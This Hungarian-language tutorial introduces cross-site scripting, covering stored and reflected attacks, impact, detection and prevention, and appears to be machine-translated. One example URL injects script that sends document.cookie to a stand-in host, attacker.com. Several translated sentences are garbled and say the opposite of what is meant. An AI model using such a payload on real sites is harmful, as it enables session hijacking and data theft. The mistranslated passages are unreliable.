Bevezetés a webhelyek közötti szkriptek készítéséhez

  • Az interneten megjelenő webalkalmazások számának növekedésével a webbiztonság fontos problémát jelent. A felhasználók személyes adatainak feltörése és ellopása manapság gyakori, és azzal fenyeget, hogy bármilyen alkalmazást használhatnak. A webhelyek közötti szkriptek az egyik legnépszerűbb támadás a felhasználók internetes biztonsága ellen. Nézzünk betekintést a webhelyközi szkriptek fogalmába.
  • Az XSS-nek nevezett webhelyközi szkriptek olyan számítógépes biztonsági rés, amelyben a támadó egy rosszindulatú kódot szkriptek formájában kíván hozzáadni egy megbízható webhelyhez / weboldalhoz. Ez egy ügyféloldali kódinjekciós támadás, és a rosszindulatú szkript a felhasználó webböngészőjében fut, amikor belép az adott weboldalra / weboldalra. Ezeknek a webhelyeknek a közvetett módon médiumává válik a rosszindulatú kód elküldése a felhasználónak. A szkriptek befecskendezésével a támadók megkerülik a biztonsági korlátozások DOM-ját (Document Object Model), és hozzáférést kapnak a felhasználó érzékeny oldaltartalmához, a munkamenet sütikhez, a böngészési előzményekhez a legtöbb böngésző által karbantartott magán adathoz.
  • Az a webhely, amely fórumokat, üzenőfalakat, kommentárokat lehetővé tevő weboldalakat, valamint azokat, amelyek nem felhasználó nélküli bemenetet és az így létrehozott kimenetet használnak, a legsebezhetőbbek az XSS támadásokkal szemben. Noha az XSS támadások VBScript, ActiveX és CSS formájában is lehetségesek, a Javascriptben a leggyakoribb, mivel ez a legtöbb böngészési élmény alapvető eleme.

Különböző típusú webhelyek közötti parancsfájlok (XSS)

Noha a webhelyek közötti szkriptálás nincs külön besorolva, egyes szakértők két típusba sorolják azt, amelyeket az alábbiakban részletesebben tárgyalunk:

Tárolt XSS támadások :

  • A tárolt XSS azok, amelyekben a támadó befecskendezett rosszindulatú szkript az adatbázisban tárolódik, és fut a felhasználó böngészőjén, amikor valamilyen formában megpróbál hozzáférni az adatbázishoz. Ezeket Perzisztens vagy tárolt XSS néven is ismertek. Ez az egyik legpusztítóbb támadás, és különösen akkor fordul elő, ha a webhely / weboldal lehetővé teszi a kommentálást vagy a HTML tartalom beágyazását.
  • A támadó hozzáadja a javascriptet a megjegyzésbe, amelyet az adatbázisban tárolnak, és amikor a felhasználó az érintett oldalra lép, lekérdezi az adatbázisból származó adatokat, hogy a böngészőben fut a rosszindulatú szkript, és hogy a támadó jogosulatlanul fér hozzá a felhasználó személyes adataihoz.
  • Például egy olyan elektronikus kereskedelemmel foglalkozó webhelyen, mint például az Olx, amelynek nem leírott üzenetmezője van a termékleíráshoz, a támadó, aki a termék eladó, hozzáadja a rosszindulatú javascriptet, és azt a weboldal adatbázisában tárolja.
  • Amikor a vevő megnyitja a termékleírást, hogy megtekinthesse a termék részleteit, akkor áldozatává válik, mivel a szkript végrehajtja a böngészőben, és a böngésző által engedélyezett összes adatot eltérítik.

Eljárás XSS támadások:

  • Ez az egyik leggyakoribb módszer, amellyel a támadó XSS-támadást okozhat a felhasználó ellen. Alapvetően az XSS támadások során a támadó e-mailt, rosszindulatú linket küldve vagy egy karakterláncot csatolva a keresési eredményhez, amely egy megbízható webhelyre mutat, de a rosszindulatú javascript kódot tartalmazza, az áldozatot célozza meg az áldozatot.
  • Ha az áldozat rákattint erre az URL-re, akkor elindítja a HTTP kérést, és kérést küld a kiszolgáltatott webes alkalmazásnak. A kérelem ezután visszatér az áldozathoz egy beágyazott javascript-kód válaszával, amelyet a böngésző végrehajt, tekintve, hogy megbízható webhelyről érkezik, és ezáltal böngészőjének bizalmas adatait eltéríti.
  • Például egy e-kereskedelmi webhelyen van egy keresőmező, amelyben a felhasználó kereshet az elemek között, és a keresőmezőbe írt karakterlánc látható a weboldal URL-jében, amikor a keresési kérelmet elküldik a szervernek.
  • A támadó létrehoz egy linket, amelyben a rosszindulatú szkriptet az URL-ben összekapcsolják, és e-mailben elküldik az áldozatnak. Amikor az áldozat megnyitja ezt a linket, akkor a kérést elküldik a támadó rosszindulatú webhelyére, az áldozat összes böngészőadatait eltérítik, és elküldik a támadó rendszeréhez.

Hogyan működik a webhelyek közötti szkript (XSS)?

  • A Cross Site Scripting (XSS) sérülékenységében a támadó fő motivációja a felhasználó adatainak ellopása a rosszindulatú szkript futtatásával a böngészőjében, amelyet befecskendeznek a webhely tartalmába, amelyet a felhasználó más eszközökkel használ.
  • Például, amikor a felhasználó valamilyen szöveget keres egy webhelyen, akkor a kérést a következő formában kell elküldeni a szerverre:

https://www.abcwebsite.com/search?q=text1

A keresési eredményben a webhely az eredményt adja vissza azzal, amit a felhasználó keresett:

Ön a következőt kereste: text1

Ha a keresési funkciók érzékenyek az XSS-re, akkor a támadó hozzáadhatja a rosszindulatú szkriptet az URL-hez:

https://www.abcwebsite.com/search= dokumentum helye = https: //attacker.com/log.php? c = '+ encodeURIComponent (document.cookie)
  • Amikor az áldozat erre a linkre kattint, átirányítja a rosszindulatú webhelyre, azaz a https://attacker.com oldalra, és a böngésző összes adatát közvetlenül a támadó számítógépére küldi, amelynek eredményeként a támadó ellopja az összes munkamenet-tokent / sütiket.
  • Ilyen módon a támadó beinjektálja a rosszindulatú szkriptet az URL-be, a támadó azt a szkriptet is tárolhatja a tárolt XSS alá tartozó kiszolgálón.

A webhelyek közötti szkriptek biztonsági réseinek hatása:

A webhelyek közötti szkriptek hatása nagyon eltérő. Az XSS sebezhetőség kihasználása után a támadó teljes ellenőrzést szerez az áldozat böngészőjében, és különféle műveleteket hajthat végre, kezdve a kicsi műveletektől, például a böngésző előzményeinek megtekintésétől a katasztrófaságig terjedőktől, például férgek beillesztése a számítógépbe.

Néhány olyan intézkedés, amelyet a támadó az XSS biztonsági résének kihasználásával hajthat végre, a következő:

  1. Olyan érzékeny információk kiszivárogtatása, mint a felhasználónév és a jelszó.
  2. Férgek beszúrása a számítógépre.
  3. A felhasználó átirányítása veszélyes webhelyre, és néhány művelet végrehajtására kényszerítve
  4. Az áldozat böngészési előzményeinek elérése.
  5. Trójai program telepítése.
  6. Kényszerítse a felhasználót az értékek végrehajtására és módosítására az alkalmazásban a hozzáférés megszerzésével

A webhelyek közötti szkriptek biztonsági réseinek felkutatása:

  • Az XSS sérülékenysége két okból származik, vagy a felhasználó bemenete nem érvényesül, mielőtt elküldenék a kiszolgálóra, vagy a böngészőhöz kapott kimenet nem HTML-kódolású. Az XSS sebezhetőségének katasztrofális hatásait és a felhasználók magánéletének védelmét szem előtt tartva nagyon fontos megvizsgálni, hogy a webes alkalmazás sebezhető-e az XSS ellen.
  • Noha az XSS-t nehéz azonosítani és eltávolítani, az ellenőrzés legjobb módja a kód biztonsági felülvizsgálata, és ellenőrizze az összes olyan helyet, ahol a HTTP-kérésből származó bemenetek képesek megjelenni az alkalmazásban outputként. Az automatikus sebezhetőségi szkenner eszközök használata, amelyek tartalmazzák a speciális XSS szkenner modult a teljes webalkalmazás beolvasásához, szintén segíthet az alkalmazások sebezhetőségeinek beolvasásában és megtalálásában.

Hogy van az XSS megakadályozása miatt?

  • Az XSS egy kódbefecskendezés által okozott sebezhetőség, ezért nagyon fontos a kiszolgálóra küldött adatok és a szerverről a felhasználó böngészőjéhez érkező adatok kódolása.
  • Az adatok érvényesítése szintén nagyon fontos, hogy a böngésző rosszindulatú parancsok nélkül értelmezze a kódot. Különböző megelőzési módszereket vezettek be, és az adatok érvényesítését és kódolását prioritásként kezelik annak érdekében, hogy egy webhely érzékeny legyen az XSS-re.

Néhány pontot meg kell összpontosítani az XSS megakadályozása érdekében: -

  1. Az összes webkiszolgálón lévő HTTP nyomkövetési támogatást ki kell kapcsolni, mivel a támadó el tudja lopni a sütik és a privát böngésző adatait a szerverről szóló HTTP nyomkövető hívással, még akkor is, ha a document.cookie le van tiltva az áldozat böngészőjében.
  2. A fejlesztőknek fertőtleníteniük kell a bemenetet, és soha nem szabad a felhasználótól közvetlenül kapott adatokat kiadni anélkül, hogy validálnák azokat.
  3. A linkeket általában el kell tiltani, ha nem azok a engedélyezett listán alapuló protokollokkal kezdődnek, mint például a HTTP: //, https: //, így megakadályozzák az URI sémák, például a javascript: // használatát.

Következtetés:

Az XSS támadások veszélyesek és károsíthatják a felhasználó magánéletét, és ellophatják az adatokat, kivéve, ha a normál felhasználó az alkalmazást óvatosan böngészi. Tehát a fejlesztőknek az alkalmazás fejlesztése során be kell tartaniuk a szigorú biztonsági szabályokat, különös tekintettel az adatokra és a kiszolgálókra, hogy az alkalmazás legkevésbé érzékeny legyen az XSS-re, és több felhasználó támaszkodjon rá.

Ajánlott cikkek

Ez egy útmutató a Mi a webhelyek közötti szkriptek készítéséhez ?. Itt tárgyaljuk az XSS különféle típusú kereszthelyét, működését, hatását és megelőzését. A további javasolt cikkeken keresztül további információkat is megtudhat -

  1. Hogyan működik a JavaScript?
  2. Mi az adathalász támadás?
  3. Mi az a számítógépes támadás?
  4. HTTP gyorsítótárazás
  5. Hogyan működnek a cookie-k JavaScript-ben a példával?

Kategória:

Szoftverfejlesztés